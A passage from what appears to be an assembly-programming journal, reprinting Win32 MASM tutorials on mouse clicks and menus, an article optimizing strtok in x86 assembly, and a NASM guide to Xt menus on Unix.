invoke TextOut,hdc,hitpoint.x,hitpoint.y,ADDR AppName,eax .ENDIF invoke EndPaint,hWnd, ADDR ps .ELSE invoke DefWindowProc,hWnd,uMsg,wParam,lParam ret .ENDIF xor eax,eax ret WndProc endp end start Time to analyze the program. .ELSEIF eax==WM_LBUTTONDOWN mov eax,lParam and eax,0FFFFh mov hitpoint.x,eax mov eax,lParam shr eax,16 mov hitpoint.y,eax mov MouseClick,TRUE invoke InvalidateRect,hWnd,NULL,TRUE The window procedure waits for left mouse button click. When it receives WM_LBUTTONDOWN, lParam contains the coordinate of the mouse cursor in the client area. It saves the coordinate in a variable of type POINT which is defined as: POINT STRUCT x dd ? y dd ? POINT ENDS and sets the flag, MouseClick, to TRUE, meaning that there's at least a left mouse button click in the client area. mov eax,lParam and eax,0FFFFh mov hitpoint.x,eax Since x-coordinate is the low word of lParam and the members of POINT structure are 32-bit in size, we have to zero out the high word of eax prior to storing it in hitpoint.x. shr eax,16 mov hitpoint.y,eax Because y-coordinate is the high word of lParam, we must put it in the low word of eax prior to storing it in hitpoint.y. We do this by shifting eax 16 bits to the right. After storing the mouse position, we set the flag, MouseClick, to TRUE in order to let the painting code in WM_PAINT section know that there's at least a click in the client area so it can draw the string at the mouse position. Next we call InvalidateRect function to force the window to repaint its entire client area. .IF MouseClick invoke lstrlen,ADDR AppName invoke TextOut,hdc,hitpoint.x,hitpoint.y,ADDR AppName,eax .ENDIF The painting code in WM_PAINT section must check if MouseClick is true, since when the window was created, it received a WM_PAINT message which at that time, no mouse click had occurred so it should not draw the string in the client area. We initialize MouseClick to FALSE and change its value to TRUE when an actual mouse click occurs. If at least one mouse click has occurred, it draws the string in the client area at the mouse position. Note that it calls lstrlen to get the length of the string to display and sends the length as the last parameter of TextOut function. [Reprinted With permission from Iczelion's Win32 Assembly HomePage] http://203.148.211.201/iczelion/index.html ::/ \::::::. :/___\:::::::. /| \::::::::. :| _/\:::::::::. :| _|\ \::::::::::. :::\_____\:::::::::::................................WIN32.ASSEMBLY.PROGRAMMING Menus by Iczelion In this tutorial, we will learn how to incorporate a menu into our window. Preliminary: Menu is one of the most important component in your window. Menu presents a list of services a program offers to the user. The user doesn't have to read the manual included with the program to be able to use it, he can peruse the menu to get an overview of the capability of a particular program and start playing with it immediately. Since a menu is a tool to get the user up and running quickly, you should follow the standard. Succintly put, the first two menu items should be File and Edit and the last should be Help. You can insert your own menu items between Edit and Help. If a menu item invokes a dialog box, you should append an ellipsis (...) to the menu string. Menu is a kind of resource. There are several kinds of resources such as dialog box, string table, icon, bitmap, menu etc. Resources are described in a separated file called a resource file which normally has .rc extension. You then combine the resources with the source code during the link stage. The final product is an executable file which contains both instructions and resources. You can write resource scripts using any text editor. They're composed of phrases which describe the appearances and other attributes of the resources used in a particular program Although you can write resource scripts with a text editor, it's rather difficult. A better alternative is to use a resource editor which lets you visually design any resource with ease. Resource editors are usually included in compiler packages such as Visual C++, Borland C++, etc. They write a resource file for you. You describe a menu resource like this: MyMenu MENU { [menu list here] } C programmers may recognize that it is similar to declaring a structure. MyMenu being a menu name followed by MENU keyword and menu list within curly brackets. Alternatively, you can use BEGIN and END instead of the curly brackets if you wish. This syntax is more palatable to Pascal programmers. Menu list can be either MENUITEM or POPUP statement. MENUITEM statement defines a menu bar which doesn't invoke a popup menu when selected.The syntax is as follows: MENUITEM "&text", ID [,options] It begins by MENUITEM keyword followed by the text you want to use as menu bar string. Note the ampersand. It causes the character that follows it to be underlined. Following the text string is the ID of the menu item. The ID is a number that will be used to identify the menu item in the message sent to the window procedure when the menu item is selected. As such, each menu ID must be unique among themselves. Options are optional. Available options are as follows: o GRAYED The menu item is inactive, and it does not generate a WM_COMMAND message. The text is grayed. o INACTIVE The menu item is inactive, and it does not generate a WM_COMMAND message. The text is displayed normally. o MENUBREAK This item and the following items appear on a new line of the menu. o HELP This item and the following items are right-justified. You can use one of the above option or combine them with "or" operator. Beware that INACTIVE and GRAYED cannot be combined together. POPUP statement has the following syntax: POPUP "&text" [,options] { [menu list] } POPUP statement defines a menu bar that, when selected, drops down a list of menu items in a small popup window. The menu list can be a MENUTIEM or POPUP statement. There's a special kind of MENUITEM statement, MENUITEM SEPARATOR, which will draw a horizontal line in the popup window. The next step after you are finished with the menu resource script is to reference it in your program. You can do this in two different places in your program. o In lpszMenuName member of WNDCLASSEX structure. Say, if you have a menu named "FirstMenu", you can assigned the menu to your window like this: .DATA MenuName db "FirstMenu",0 ........................... ........................... .CODE ........................... mov wc.lpszMenuName, OFFSET MenuName ........................... o In menu handle parameter of CreateWindowEx like this: .DATA MenuName db "FirstMenu",0 hMenu HMENU ? ........................... ........................... .CODE ........................... invoke LoadMenu, hInst, OFFSET MenuName mov hMenu, eax invoke CreateWindowEx,NULL,OFFSET ClsName,\ OFFSET Caption, WS_OVERLAPPEDWINDOW,\ CW_USEDEFAULT,CW_USEDEFAULT,\ CW_USEDEFAULT,CW_USEDEFAULT,\ NULL,\ hMenu,\ hInst,\ NULL\ ........................... So you may ask, what's the difference between these two methods? When you reference the menu in the WNDCLASSEX structure, the menu becomes the "default" menu for the window class. Every window of that class will have the same menu. If you want each window created from the same class to have different menus, you must choose the second form. In this case, any window that is passed a menu handle in its CreateWindowEx function will have a menu that "overrides" the default menu defined in the WNDCLASSEX structure. Next we will examine how a menu notifies the window procedure when the user selects a menu item. When the user selects a menu item, the window procedure will receive a WM_COMMAND message. The low word of wParam contains the menu ID of the selected menu item. Now we have sufficient information to create and use a menu. Let's do it. Content: The first example shows how to create and use a menu by specifying the menu name in the window class. include windows.inc includelib user32.lib includelib kernel32.lib includelib gdi32.lib .data ClassName db "SimpleWinClass",0 AppName db "Our First Window",0 MenuName db "FirstMenu",0 ; The name of our menu in the resource file. Test_string db "You selected Test menu item",0 Hello_string db "Hello, my friend",0 Goodbye_string db "See you again, bye",0 .data? hInstance HINSTANCE ? CommandLine LPSTR ? .const IDM_TEST equ 1 ; Menu IDs IDM_HELLO equ 2 IDM_GOODBYE equ 3 IDM_EXIT equ 4 .code start: invoke GetModuleHandle, NULL mov hInstance,eax invoke GetCommandLine invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT invoke ExitProcess,eax WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:SDWORD LOCAL wc:WNDCLASSEX LOCAL msg:MSG LOCAL hwnd:HWND mov wc.cbSize,SIZEOF WNDCLASSEX mov wc.style, CS_HREDRAW or CS_VREDRAW mov wc.lpfnWndProc, OFFSET WndProc mov wc.cbClsExtra,NULL mov wc.cbWndExtra,NULL push hInstance pop wc.hInstance mov wc.hbrBackground,COLOR_WINDOW+1 mov wc.lpszMenuName,OFFSET MenuName ; Put our menu name here mov wc.lpszClassName,OFFSET ClassName invoke LoadIcon,NULL,IDI_APPLICATION mov wc.hIcon,eax mov wc.hIconSm,0 invoke LoadCursor,NULL,IDC_ARROW mov wc.hCursor,eax invoke RegisterClassEx, addr wc invoke CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\ WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\ CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\ hInst,NULL mov hwnd,eax invoke ShowWindow, hwnd,SW_SHOWNORMAL invoke UpdateWindow, hwnd .WHILE TRUE invoke GetMessage, ADDR msg,NULL,0,0 .BREAK .IF (!eax) invoke DispatchMessage, ADDR msg .ENDW mov eax,msg.wParam ret WinMain endp WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM mov eax,uMsg .IF eax==WM_DESTROY invoke PostQuitMessage,NULL .ELSEIF eax==WM_COMMAND mov eax,wParam .IF ax==IDM_TEST invoke MessageBox,NULL,ADDR Test_string,OFFSET AppName,MB_OK .ELSEIF ax==IDM_HELLO invoke MessageBox, NULL,ADDR Hello_string, OFFSET AppName,MB_OK .ELSEIF ax==IDM_GOODBYE invoke MessageBox,NULL,ADDR Goodbye_string, OFFSET AppName, MB_OK .ELSE invoke DestroyWindow,hWnd .ENDIF .ELSE invoke DefWindowProc,hWnd,uMsg,wParam,lParam ret .ENDIF xor eax,eax ret WndProc endp end start **************************************************************** Menu.rc **************************************************************** #define IDM_TEST 1 #define IDM_HELLO 2 #define IDM_GOODBYE 3 #define IDM_EXIT 4 FirstMenu MENU { POPUP "&PopUp" { MENUITEM "&Say Hello",IDM_HELLO MENUITEM "Say &GoodBye", IDM_GOODBYE MENUITEM SEPARATOR MENUITEM "E&xit",IDM_EXIT } MENUITEM "&Test", IDM_TEST } ------------------------------------------------------------------------ Let's analyze the resource file first. #define IDM_TEST 1 /* equal to IDM_TEST equ 1*/ #define IDM_HELLO 2 #define IDM_GOODBYE 3 #define IDM_EXIT 4 The above lines define the menu IDs used by the menu script. You can assign any value to the ID as long as the value is unique in the menu. FirstMenu MENU Declare your menu with MENU keyword. POPUP "&PopUp" { MENUITEM "&Say Hello",IDM_HELLO MENUITEM "Say &GoodBye", IDM_GOODBYE MENUITEM SEPARATOR MENUITEM "E&xit",IDM_EXIT } Define a popup menu with four menu items, the third one is a menu separator. MENUITEM "&Test", IDM_TEST Define a menu bar in the main menu. Next we will examine the source code. MenuName db "FirstMenu",0 ; The name of our menu in the resource file. Test_string db "You selected Test menu item",0 Hello_string db "Hello, my friend",0 Goodbye_string db "See you again, bye",0 MenuName is the name of the menu in the resource file. Note that you can define more than one menu in the resource file so you must specify which menu you want to use. The remaining three lines define the text strings to be displayed in message boxes that are invoked when the appropriate menu item is selected by the user. IDM_TEST equ 1 ; Menu IDs IDM_HELLO equ 2 IDM_GOODBYE equ 3 IDM_EXIT equ 4 Define menu IDs for use in the window procedure. These values MUST be identical to those defined in the resource file. .ELSEIF eax==WM_COMMAND mov eax,wParam .IF ax==IDM_TEST invoke MessageBox,NULL,ADDR Test_string,OFFSET AppName,MB_OK .ELSEIF ax==IDM_HELLO invoke MessageBox, NULL,ADDR Hello_string, OFFSET AppName,MB_OK .ELSEIF ax==IDM_GOODBYE invoke MessageBox,NULL,ADDR Goodbye_string, OFFSET AppName, MB_OK .ELSE invoke DestroyWindow,hWnd .ENDIF In the window procedure, we process WM_COMMAND messages. When the user selects a menu item, the menu ID of that menu item is sended to the window procedure in the low word of wParam along with the WM_COMMAND message. So when we store the value of wParam in eax, we compare the value in ax to the menu IDs we defined previously and act accordingly. In the first three cases, when the user selects Test, Say Hello, and Say GoodBye menu items, we just display a text string in a message box. If the user selects Exit menu item, we call DestroyWindow with the handle of our window as its parameter which will close our window. As you can see, specifying menu name in a window class is quite easy and straightforward. However you can also use an alternate method to load a menu in your window. I won't show the entire source code here. The resource file is the same in both methods. There are some minor changes in the source file which I 'll show below. .data? hInstance HINSTANCE ? CommandLine LPSTR ? hMenu HMENU ? ; handle of our menu Define a variable of type HMENU to store our menu handle. invoke LoadMenu, hInst, OFFSET MenuName mov hMenu,eax INVOKE CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\ WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\ CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,hMenu,\ hInst,NULL Before calling CreateWindowEx, we call LoadMenu with the instance handle and a pointer to the name of our menu. LoadMenu returns the handle of our menu in the resource file which we pass to CreateWindowEx. [Reprinted With permission from Iczelion's Win32 Assembly HomePage] http://203.148.211.201/iczelion/index.html ::/ \::::::. :/___\:::::::. /| \::::::::. :| _/\:::::::::. :| _|\ \::::::::::. :::\_____\:::::::::::........................THE.C.STANDARD.LIBRARY.IN.ASSEMBLY The _strtok function by Xbios2 I. INTRODUCTION --------------- C syntax: char *strtok(char *s1, const char *s2); Description strtok considers the string s1 to consist of a sequence of zero or more text tokens, separated by spans of one or more characters from the separator string s2. The first call to strtok returns a pointer to the first character of the first token in s1 and writes a null character into s1 immediately following the returned token. Subsequent calls with null for the first argument will work through the string s1 in this way, until no tokens remain. The separator string, s2, can be different from call to call. Comparing different strtok functions requires a much different approach than strlen and strcpy. This is because the overall speed is not related only to n, the length of the main string, but on many other things, such as the total number of tokens, the number of characters between the tokens, the length of the delimiter string, etc... But this is better seen in practice: II. _STRTOK IN BC402 ------------------- This is the disassembly of the Borland C++ 4.02 library. You can read it as an example of non-optimized code, otherwise you may just skip and read the explanation. _strtok proc near v_retval = dword ptr -8 v_pointer = dword ptr -4 a_s1 = dword ptr 8 a_s2 = dword ptr 0Ch enter 8, 0 push edi push esi mov edi, [ebp+a_s1] call __thread_data add eax, 18h test edi, edi mov [ebp+v_pointer], eax jnz short first_time mov eax, [ebp+v_pointer] mov edi, [eax] first_time: jmp short enterPhase1 ; -------------------------------------------- loopPhase1: mov esi, [ebp+a_s2] jmp short enterScan1 ; -------------------------------------------- loopScan1: mov al, [esi] cmp al, [edi] jz short endScan1 inc esi enterScan1: mov al, [esi] test al, al jnz short loopScan1 endScan1: mov al, [esi] test al, al jz short exitPhase1 inc edi enterPhase1: mov al, [edi] test al, al jnz short loopPhase1 exitPhase1: mov al, [edi] test al, al jnz short phase2 mov eax, [ebp+v_pointer] mov [eax], edi xor eax, eax jmp short return ; -------------------------------------------- phase2: mov [ebp+v_retval], edi jmp short enterPhase2 ; -------------------------------------------- loopPhase2: mov esi, [ebp+a_s2] jmp short enterScan2 ; -------------------------------------------- loopScan2: mov al, [esi] cmp al, [edi] jnz short nextScan2 mov byte ptr [edi], 0 inc edi mov eax, [ebp+v_pointer] mov [eax], edi mov eax, [ebp+v_retval] jmp short return ; -------------------------------------------- nextScan2: inc esi enterScan2: mov al, [esi] test al, al jnz short loopScan2 inc edi enterPhase2: mov al, [edi] test al, al jnz short loopPhase2 mov eax, [ebp+v_pointer] mov [eax], edi mov eax, [ebp+v_retval] return: pop esi pop edi leave retn _strtok endp Explanation: First af all, s1 is checked. If it is null, the pointer to the string is restored from where it was saved on the previous call. (One value is saved for each thread, not for each process, so it can't be stored in the .data segment). Then we enter the first loop, Phase1. Here characters are read until one is found that does NOT belong to s2 (then jump to Phase2) or the terminating NULL is reached (then just return NULL). Every character read from s1 is compared against all characters in s2 (in the Scan1 loop). The second loop, Phase2 (if we reach it), reads characters from s1 until one is found that belongs to s2 (then replace it with a NULL, return) or the terminating NULL is reached (then just return). Actually before entering Phase2, the pointer to the current char in s1 is saved, and it is returned in EAX as the return value. Notice that the string s1 is modified by strtok. III. ESTIMATING PERFORMANCE --------------------------- As noted in the introduction, the speed of _strtok can't be calculated in a 'k+l*n' way. So a more general 'speed' is estimated: The above _strtok function is really slow for three reasons: 1. '__thread_data' calls various other functions, slowing code down. (actually, this does not exist in the single-thread library) 2. The code is not pentium-optimized, not optimized at all I'd say. 3. The algorithm used is REALLY bad. Reason 3 is the most important. Even the fastest code written to use this algorithm would be slow. The reason is that there are two NESTED loops, one to find the first character of the token and one to find the first delimiter. Supposing that s1 does not start with a delimiter, then to get the first token, each character of the token is compared to EVERY character of s2. This means that if the first token of s1 is 10 characters long, and s2 contains 10 delimiter characters, at least 10*10=100 loop cycles are needed. Try duplicating s2, to be 20 characters long. Without adding information, 10*20=200 loop cycles are needed now. IV. THE LOOKUP TABLE -------------------- To get rid of the nested loops, the function must have a 'direct' way of knowing if a character (read from s1) exists in s2. This is accomplished through a lookup table, i.e. a region of memory holding, for each of the 256 different characters, a value that indicates if that character is a delimiter. So the function will consist of one loop scanning s2 and setting values in the lookup table, and another one scanning s1 and comparing it's values against the lookup table. Some considerations regarding the lookup table must be made: - First of all, forget Unicode. No one would like a lookup table with 65536 entries... - The values in the table can be either bits or bytes. It's easier and faster to access the values in a byte-sized table, but it takes more time to reset the lookup table each time the function is called - The lookup table can be either local (stack) or global (.data segment). The 32 bytes needed create no problems in either place. It is faster to have a local table (for various reasons), and it's also more reasonable. Yet a global lookup table allows for an interesting extension to _strtok: It is common to use the same s2 string many times. By using a global table, which is preserved across calls, the caller may pass NULL as s2, to reuse the last lookup table. This way a lookup table is calculated only once. For a more specific application, where speed is essential, but instead of only one delimiter string, there are more, the function can be improved to receive, instead of s2, a pointer to a lookup table, either built in or created by another function In this essay we'll stick to the 'normal' strtok, using a local table. This is also the way _strtok is implemented in MSVCRT (with bit values). See for yourselves: V. STRTOK IN MSVCRT ------------------- strtok proc near lookup = byte ptr -20h a_s1 = dword ptr 4 a_s2 = dword ptr 8 sub esp, 20h push ebx push ebp mov ebp, [esp+28h+a_s2] ; EBP points at s2 push esi push edi call GetTls mov edx, eax mov ecx, 8 xor eax, eax lea edi, [esp+30h+lookup] mov [esp+30h+a_s2], edx ; save in a_s2 the value by GetTls repe stosd ; reset lookup table ; Loop1 : scan s2 and set lookup table values loop1: mov al, [ebp+0] mov bl, 1 mov ecx, eax and ecx, 0FFh mov esi, ecx and ecx, 7 shr esi, 3 shl bl, cl mov cl, [esp+esi+30h+lookup] lea esi, [esp+esi+30h+lookup] or cl, bl inc ebp test al, al mov [esi], cl jnz short loop1 mov esi, [esp+30h+a_s1] ; ESI points at s1 test esi, esi jnz short skip mov esi, [edx+18h] ; s1 NULL, restore previous skip: mov dl, [esi] mov eax, 1 mov edi, edx and edi, 0FFh mov ecx, edi and ecx, 7 shl eax, cl shr edi, 3 mov cl, [esp+edi+30h+lookup] test cl, al jz short exit2 ; ; Loop2 : find first non delimiter, or NULL loop2: test dl, dl jz short exit2 mov dl, [esi+1] inc esi mov eax, edx mov ebx, 1 and eax, 0FFh mov ecx, eax and ecx, 7 shl ebx, cl shr eax, 3 mov al, [esp+eax+30h+lookup] test al, bl jnz short loop2 exit2: mov al, [esi] mov edi, esi test al, al jnz short enter3 jmp short exit3 ; NULL found, return NULL ; --------------------------------------------------------------------- ; Loop3 : Find delimiter marking the end of the token loop3: mov al, [esi+1] inc esi test al, al jz short exit3 enter3: and eax, 0FFh mov edx, 1 mov ecx, eax and ecx, 7 shl edx, cl shr eax, 3 mov al, [esp+eax+30h+lookup] test al, dl jz short loop3 mov byte ptr [esi], 0 ; mark the end of token inc esi ; point s1 to next char exit3: mov ecx, [esp+30h+a_s2] ; value by GetTls mov eax, edi sub eax, esi neg eax sbb eax, eax mov [ecx+18h], esi ; store pointer for next call and eax, edi pop edi pop esi pop ebp pop ebx add esp, 20h retn strtok endp GetTls is a function in MSVCRT.DLL that uses GetTlsValue to get thread storage space. The layout is rather easy to understand, the 'bit-fiddling' to access the values in the lookup table is a bit complicated. But it's rather good code. Yet it can be optimized even more at a low level. VI. FINAL VERSIONS ------------------ This is the final version using bit values in the lookup table: .data masks db 1,2,4,8,16,32,64,128 .code _strtok proc push edi push ebx xor eax, eax mov edi, [esp+16] ; s2 [delimiters] rept 7 push eax ; reset table endm push 1 ; set NULL as a separator mov al, [edi] inc edi or al, al jz skip1 mov ecx, eax mov ebx, eax loop1: shr ebx, 3 and ecx, 7 mov al, [edi] inc edi mov dl, masks[ecx] mov ah, [esp+ebx] mov cl, al or dl, ah mov [esp+ebx], dl mov bl, al or al, al jnz loop1 skip1: mov edi, [esp+44] ; s1 [string] xor eax, eax test edi, edi jnz short loop2 mov edi, [pointer] loop2: mov cl, [edi] inc edi mov ebx, ecx and ecx, 7 or bl, bl jz short nomore ; no more tokens, return NULL shr ebx, 3 mov cl, masks[ecx] test [esp+ebx], cl jnz short loop2 lea eax, [edi-1] ; this is the return value loop3: mov cl, [edi] mov ebx, ecx and ecx, 7 shr ebx, 3 inc edi mov cl, masks[ecx] test [esp+ebx], cl jz short loop3 mov cl, [edi-1] return: mov byte ptr [edi-1], 0 nomore: cmp cl, 1 sbb edi, 0 mov [pointer], edi add esp, 20h pop ebx pop edi retn _strtok endp Again, the general layout is rather simple (same as in MSVCRT) . The bit fiddling is even 'stranger', and the instruction order is a bit weird, in order to achieve optimum pairing. But it runs at about more than twice the speed msvcrt does. The main features of this version are: -Space in the stack is allocated by PUSHing 8 times (PUSH pairs with itself, so it only takes 4 cycles to allocate and clear the table) -8 bytes in the .data segment contain the masks used to acces bits 0 to 7 in a byte, thus allowing faster bit-value access. -It works, and it works FAST. A little bit faster (not always, though, since memory access is more intense) is this version with byte values in the lookup table: _strtok proc xor ecx, ecx mov edx, [esp+8] ; s2 [delimiters] rept 63 push ecx ; reset table endm push 1 ; set NULL as a separator mov cl, [edx] inc edx or cl, cl jz skip1 loop1: mov byte ptr [esp+ecx], 1 mov cl, [edx] inc edx or cl, cl jnz loop1 skip1: mov edx, [esp+4+256] ; s1 [string] xor eax, eax test edx, edx jnz short loop2 mov edx, [pointer] loop2: mov cl, [edx] inc edx or cl, cl jz short nomore ; no more tokens, return NULL cmp byte ptr [esp+ecx], 1 je short loop2 lea eax, [edx-1] ; this is the return value nop loop3: mov cl, [edx] inc edx cmp byte ptr [esp+ecx], 1 jne short loop3 return: mov byte ptr [edx-1], 0 nomore: cmp cl, 1 sbb edx, 0 mov [pointer], edx add esp, 256 retn _strtok endp ::/ \::::::. :/___\:::::::. /| \::::::::. :| _/\:::::::::. :| _|\ \::::::::::. :::\_____\:::::::::::............................................THE.UNIX.WORLD Using Menus in Xt by mammon_ A simple one-button application will not get you very far in the X world. A good application must have multiple components, including menus, dialog boxes, application windows, and accelerators. In this article I will present the use of Xt menus in assembly language as a first step towards producing a complete application; future articles will cover the integration of forms, dialog boxes, and other resources into a complete application. I presented some Xt macros for Nasm last issue, but have revised them after a bit more testing. The CALLBACK macros have been rewritten, and an InitXtApp macro has been written as well to take care of the generic Xt application startup code. ;=======================================================================-xt.inc %macro InitXtApp 5 ;------Usage: InitXtApp TopLevelWidget, Context, ClassName, ARGC, ARGV EXTERN XtVaAppInitialize push dword 0 push dword 0 push dword 0 push dword %5 push dword %4 push dword 0 push dword 0 push dword %3 push dword %2 call XtVaAppInitialize add esp, 36 mov [%1], eax %endmacro %macro CALLBACK 1 ;------Usage: CALLBACK name GLOBAL %1 %1: %define CallData [ebp+8] %define ClientData [ebp+12] %define Widget [ebp+16] push ebp mov ebp, esp %endmacro %macro CALLBACK_RETURN 0 ;------Usage: CALLBACK_RETURN mov esp, ebp pop ebp ret %endmacro %macro ShowXtWidget 1 ;------Usage: ShowXtWidget Widget EXTERN XtRealizeWidget push dword [%1] call XtRealizeWidget add esp, 4 %endmacro %macro XtAppLoop 1 ;------Usage: XtAppLoop Context EXTERN exit EXTERN XtAppMainLoop push dword [%1] call XtAppMainLoop add esp, 4 push dword 0 call exit %endmacro ;============================================================================== The first thing that must be done in creating an application menu is to create a "menubar" that will contain the component menu buttons. This often takes the place of a Box or Form widget that resides on the top or left edge of an application. The menu bar will later be "filled" with a button for each menu [e.g. File, Edit, Options, Help]. I have opted to use the Box widget for the menubar as it requires less initialization than the Form widget; normally it defaults to a vertical stacking of the component buttons, but this can be fixed with further configuration and will be addresses in a future article. To create a menubar widget I have create a macro which will simply create a Box widget; it takes as its parameters a pointer to the parent widget [usually the top-level widget], the name of the menubar class, and a dword variable which will become a pointer to the Box instance: ;=======================================================================-xt.inc %macro CreateMenuBar 3 ;------Usage: CreateMenuBar ParentWidget, ClassName, MenubarWidget EXTERN boxWidgetClass EXTERN XtCreateManagedWidget push dword 0 push dword 0 push dword [%1] push dword [boxWidgetClass] push dword %2 call XtCreateManagedWidget mov [%3], eax add esp, 20 %endmacro ;============================================================================== Following this, a button must be created for each menu as a component of the Box or menubar widget. Each button is then associated with a Menu widget through the XtCreatePopupShell call. In Xt Athena, a menu is a button which, when pressed, creates a "Popup Shell"; that is, a container which contains the various menu items. These items are known as smeObjectClasses, or "simple menu entry" objects; selecting a simple menu entry from the popup shell [in plain English, "selecting a menu item"] will cause the callback for that menu item to be invoked and any data associated with the menu to be sent to the callback. The AddMenu macro will create a menu button and popup shell for a given menu; it takes as its parameters the pointer to the parent Menubar widget, the ASCII string to be displayed in the menu [e.g. "File", "Edit", etc], a dword variable to be filled with a pointer to the menu button, and a dword variable to be filled with a pointer to the menu [or "popup shell"] itself: ;=======================================================================-xt.inc %macro AddMenu 4 ;------Usage: AddMenu MenubarWidget, MenuText, MenuButtonWidget, MenuWidget %ifndef _menu_classname EXTERN menuButtonWidgetClass EXTERN XtCreateManagedWidget EXTERN simpleMenuWidgetClass EXTERN XtCreatePopupShell [section .data] _menu_class db "menu",0 [section .text] %define _menu_classname %endif push dword 0 push dword 0 push dword [%1] push dword [menuButtonWidgetClass] push dword %2 call XtCreateManagedWidget mov [%3], eax add esp, 20 push dword 0 push dword 0 push dword [%3] push dword [simpleMenuWidgetClass] push dword _menu_class call XtCreatePopupShell mov [%4], eax add esp, 20 %endmacro ;============================================================================== Once the menu is created, it must be filled with menu items. The standard menu item is an smeBSBObject, meaning "simple menu entry: Bitmap-String-Bitmap"; that is, each line can consist of a bitmap followed by a string followed by a bitmap. This can be useful for providing "visual"/eyecandy menus, or for checking and unchecking [via an "x" bitmap] menu items. For this example, I am using only string menu entries. Menu items are added with the standard CreateManagedWidget function, then associated with a callback routine just like standard Xt widgets. The AddMenuItem macro performs both of these functions and takes as its parameters the pointer to the parent Menu, the text to be displayed in the menu item, a pointer to the data associated with the menu item, and the address of the callback routine: ;=======================================================================-xt.inc %macro AddMenuItem 4 ;------Usage: AddMenuItem MenuWidget, MenuItemText, MenuItemID, Callback %ifndef menu_entry_ptr EXTERN smeBSBObjectClass EXTERN XtCreateManagedWidget EXTERN XtAddCallback [section .data] MenuEntry: .ptr dd 0 _callback_type db "callback",0 [section .text] %define menu_entry_ptr %endif push dword 0 push dword 0 push dword [%1.ptr] push dword [smeBSBObjectClass] push dword %2 call XtCreateManagedWidget mov [MenuEntry.ptr], eax add esp, 20 push dword %3 push dword %4 push dword _callback_type push dword [MenuEntry.ptr] call XtAddCallback add esp, 16 %endmacro ;============================================================================== Note that the pointer to the Menu Item Entry widget is needed only to install the callback, and can then be discarded. I have also included a separator menu item to break up the menus a bit; this is simply a menu item of class smeLineObject which does nothing; as such, the AddMenuSeparator macro requires only the pointer to the parent Menu as a parameter: ;=======================================================================-xt.inc %macro AddMenuSeparator 1 ;------Usage: AddMenuSeparator MenuWidget %ifndef _szseperator EXTERN smeLineObjectClass EXTERN XtCreateManagedWidget [section .data] _szSep db "line",0 [section .text] %define _szseperator %endif push dword 0 push dword 0 push dword [%1.ptr] push dword [smeLineObjectClass] push dword _szSep call XtCreateManagedWidget mov [MenuEntry.ptr], eax add esp, 20 %endmacro ;============================================================================== Why so many macros? To ease the tedium. The Xt code presented below was many pages longer before I converted the menu creation routines --which run 10 to 20 lines apiece-- into macros. Also, looking at the sample application, you will see that all of the "generic" Xt code has been compressed to a few lines, leaving the bulk of the "real code" in the callback routine and in the resource definitions. I have chosen to use a single callback for all of the menu items; this is the most simple and perhaps the most efficient method. Each menu entry has a unique integer ID which is passed to the callback as data when the menu item is selected; the callback compares its incoming ClientData variable with each of the menu entry IDs until it finds a match, whereupon it jumps to a specific subroutine for each different ID. In short, a typical message handler -- though I refrained from my notorious call-table and SWITCH/CASE macros in this case for the sake of clarity. The structure of the Widget declarations in this file could also bear some discussion. I have chosen to treat all widgets declared in the application [*not* references to the external widget classes reference by the app, but rather the pointers to those classes] as primitive structures of the following form: WidgetInstance: .ptr dd 0 .name db 'name',0 This makes things easier, for the widget pointer can now be referred to as [WidgetInstance.ptr], and the widget name can be referred to as WidgetInstance.name. Notice that all widget pointers must be referenced in brackets; the typical C use of a pointer is to pass the address contained in the pointer, not the address of the pointer itself [unless the pointer is dereferenced by a "&", in which case the brackets should not be used in the assembly language equivalent]. The menu widgets have a similar, but more advanced syntax: MenuName: .ptr .name .button .Entryname .EntrynameID This allows the pointer for each menu button to be stored along with the rest of the menu data, and also allows menu entries to be referenced as "members" of the menu "structure", e.g. MenuName.Entryname would be the text of the menu item, and MenuName.EntrynameID would be the integer ID for the menu item. Now for the actual implementation: ;===================================================================-xtmenu.asm BITS 32 EXTERN exit EXTERN printf %include "Xt.inc" ;==========================================================================DATA [section .data] ;______________Widgets__________________________ Shell: .ptr dd 0 .name db "shell",0 MenuBar: .ptr dd 0 .name db "menubar",0 ;_______________Menus___________________________ FileMenu: .ptr dd 0 .name db "File",0 .button dd 0 .New db "New",0 .NewID dd "101" .Open db "Open",0 .OpenID dd "102" .Save db "Save",0 .SaveID dd "103" .Close db "Close",0 .CloseID dd 104 .Exit db "Exit",0 .ExitID dd 105 HelpMenu: .ptr dd 0 .name db "Help",0 .button dd 0 .About db "About",0 .AboutID dd 201 ;____Classes____________________________________ XtMenu: db "XtMenu",0 ;____Misc_______________________________________ ARGC: times 128 db 0 szOutString db "%s selected",0ah,0dh,0 AppContext dd 0 ;==========================================================================CODE [section .text] CALLBACK CBMenuSelect mov ebx, ClientData mov eax, [ebx] cmp eax, dword [FileMenu.NewID] je MenuNew cmp eax, dword [FileMenu.OpenID] je MenuOpen cmp eax, dword [FileMenu.SaveID] je MenuSave cmp eax, dword [FileMenu.CloseID] je MenuClose cmp eax, dword [FileMenu.ExitID] je MenuExit cmp eax, dword [HelpMenu.AboutID] je MenuAbout jmp unhandled MenuNew: push dword FileMenu.New jmp do_printf MenuOpen: push dword FileMenu.Open jmp do_printf MenuSave: push dword FileMenu.Save jmp do_printf MenuClose: push dword FileMenu.Close jmp do_printf MenuAbout: push dword HelpMenu.About do_printf: push dword szOutString call printf add esp, 8 unhandled: CALLBACK_RETURN MenuExit: mov esp, ebp pop ebp push dword 0 call exit ret ;____________________________________________________________PROGRAM_ENTRYPOINT GLOBAL main main: InitXtApp Shell.ptr, AppContext, XtMenu, ARGC, 0 ;-------Make Menu CreateMenuBar Shell.ptr, MenuBar.name, MenuBar.ptr AddMenu MenuBar.ptr, FileMenu.name,FileMenu.button, FileMenu.ptr AddMenu MenuBar.ptr, HelpMenu.name,HelpMenu.button, HelpMenu.ptr ;-------Build File Menu AddMenuItem FileMenu, FileMenu.New, FileMenu.NewID, CBMenuSelect 